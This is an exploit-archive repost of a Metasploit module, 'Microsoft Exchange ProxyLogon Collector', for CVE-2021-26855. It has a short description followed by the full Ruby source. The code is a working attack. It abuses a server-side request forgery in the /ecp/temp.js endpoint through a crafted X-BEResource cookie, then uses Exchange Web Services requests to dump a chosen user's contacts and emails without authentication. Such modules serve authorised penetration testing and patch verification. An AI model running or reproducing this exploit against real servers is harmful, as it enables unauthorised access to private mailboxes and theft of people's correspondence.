Authored by Ramella Sebastien | Site metasploit.com

This Metasploit module scan for a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin by chaining this bug with another post-auth arbitrary-file-write vulnerability to get code execution. As a result, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server. This vulnerability affects Exchange 2013 versions below 15.00.1497.012, Exchange 2016 CU18 below 15.01.2106.013, Exchange 2016 CU19 below 15.01.2176.009, Exchange 2019 CU7 below 15.02.0721.013, and Exchange 2019 CU8 below 15.02.0792.010 . All components are vulnerable by default.

advisories | CVE-2021-26855, CVE-2021-27065

# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit)
# Date: 2021-03-02
# Exploit Author: RAMELLA Sébastien
# Vendor Homepage: https://microsoft.com
# Version: This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).
# Tested on: Microsoft Windows 2012 R2 - Exchange 2016

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# begin auxiliary class
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange ProxyLogon Collector',
'Description' => %q{
This module scan for a vulnerability on Microsoft Exchange Server that
allows an attacker bypassing the authentication and impersonating as the
admin (CVE-2021-26855).

By chaining this bug with another post-auth arbitrary-file-write
vulnerability to get code execution (CVE-2021-27065).

As a result, an unauthenticated attacker can execute arbitrary commands on
Microsoft Exchange Server.

This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).

All components are vulnerable by default.
},
'Author' => [
'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise)
],
'References' => [
['CVE', '2021-26855'],
['LOGO', 'https://proxylogon.com/images/logo.jpg'],
['URL', 'https://proxylogon.com/'],
['URL', 'https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse'],
['URL', 'http://aka.ms/exchangevulns']
],
'DisclosureDate' => '2021-03-02',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'AKA' => ['ProxyLogon']
}
)
)

register_options([
OptString.new('EMAIL', [true, 'The email account what you want dump']),
OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),
OptString.new('SERVER_NAME', [true, 'The name of secondary internal Exchange server targeted'])
])

register_advanced_options([
OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 512])
])
end

XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze

def grab_contacts
response = send_xml(soap_findcontacts)
xml = Nokogiri::XML.parse(response.body)

data = xml.xpath('//t:Contact', XMLNS)
if data.empty?
print_status(' - the user has no contacts')
else
write_loot(data.to_s)
end
end

def grab_emails(total_count)
# get the emails list of the target folder.
response = send_xml(soap_maillist(total_count))
xml = Nokogiri::XML.parse(response.body)

# iteration to download the emails.
xml.xpath('//t:ItemId', XMLNS).each do |item|
print_status(" - download item: #{item.values[1]}")
response = send_xml(soap_download(item.values[0], item.values[1]))
xml = Nokogiri::XML.parse(response.body)

message = xml.at_xpath('//t:MimeContent', XMLNS).content
write_loot(Rex::Text.decode_base64(message))
end
end

def send_xml(data)
uri = normalize_uri('ecp', 'temp.js')

received = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => "X-BEResource=#{datastore['SERVER_NAME']}/EWS/Exchange.asmx?a=~3;",
'ctype' => 'text/xml; charset=utf-8',
'data' => data
)
fail_with(Failure::Unknown, 'Server did not respond in an expected way') unless received

received
end

def soap_download(id, change_key)
<<~SOAP
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetItem>
<m:ItemShape>
<t:BaseShape>IdOnly</t:BaseShape>
<t:IncludeMimeContent>true</t:IncludeMimeContent>
</m:ItemShape>
<m:ItemIds>
<t:ItemId Id="#{id}" ChangeKey="#{change_key}" />
</m:ItemIds>
</m:GetItem>
</soap:Body>
</soap:Envelope>
SOAP
end

def soap_findcontacts
<<~SOAP
<?xml version='1.0' encoding='utf-8'?>
<soap:Envelope
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
<soap:Body>
<m:FindItem Traversal='Shallow'>
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:ItemShape>
<m:IndexedPageItemView MaxEntriesReturned="#{datastore['MaxEntries']}" Offset="0" BasePoint="Beginning" />
<m:ParentFolderIds>
<t:DistinguishedFolderId Id='contacts'>
<t:Mailbox>
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:ParentFolderIds>
</m:FindItem>
</soap:Body>
</soap:Envelope>
SOAP
end

def soap_mailnum
<<~SOAP
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>Default</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="#{datastore['FOLDER']}">
<t:Mailbox>
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>
SOAP
end

def soap_maillist(max_entries)
<<~SOAP
<?xml version='1.0' encoding='utf-8'?>
<soap:Envelope
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
<soap:Body>
<m:FindItem Traversal='Shallow'>
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:ItemShape>
<m:IndexedPageItemView MaxEntriesReturned="#{max_entries}" Offset="0" BasePoint="Beginning" />
<m:ParentFolderIds>
<t:DistinguishedFolderId Id='#{datastore['FOLDER']}'>
<t:Mailbox>
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:ParentFolderIds>
</m:FindItem>
</soap:Body>
</soap:Envelope>
SOAP
end

def write_loot(data)
loot_path = store_loot('', 'text/plain', datastore['RHOSTS'], data, '', '')
print_good(" - file saved to #{loot_path}")
end

def run
# get the informations about the targeted user account.
response = send_xml(soap_mailnum)
if response.body =~ /Success/
print_status('Connection to the server is successful')
print_status(" - selected account: #{datastore['EMAIL']}n")

# grab contacts.
print_status('Attempt to dump contacts list for this user')
grab_contacts

print_line

# grab emails.
print_status('Attempt to dump emails for this user')
xml = Nokogiri::XML.parse(response.body)
folder_id = xml.at_xpath('//t:FolderId', XMLNS).values
print_status(" - selected folder: #{datastore['FOLDER']} (#{folder_id[0]})")

total_count = xml.at_xpath('//t:TotalCount', XMLNS).content
print_status(" - number of email found: #{total_count}")

if total_count.to_i > datastore['MaxEntries']
print_warning(" - number of email recaluled due to max entries: #{datastore['MaxEntries']}")
total_count = datastore['MaxEntries'].to_s
end
grab_emails(total_count)
end
end

end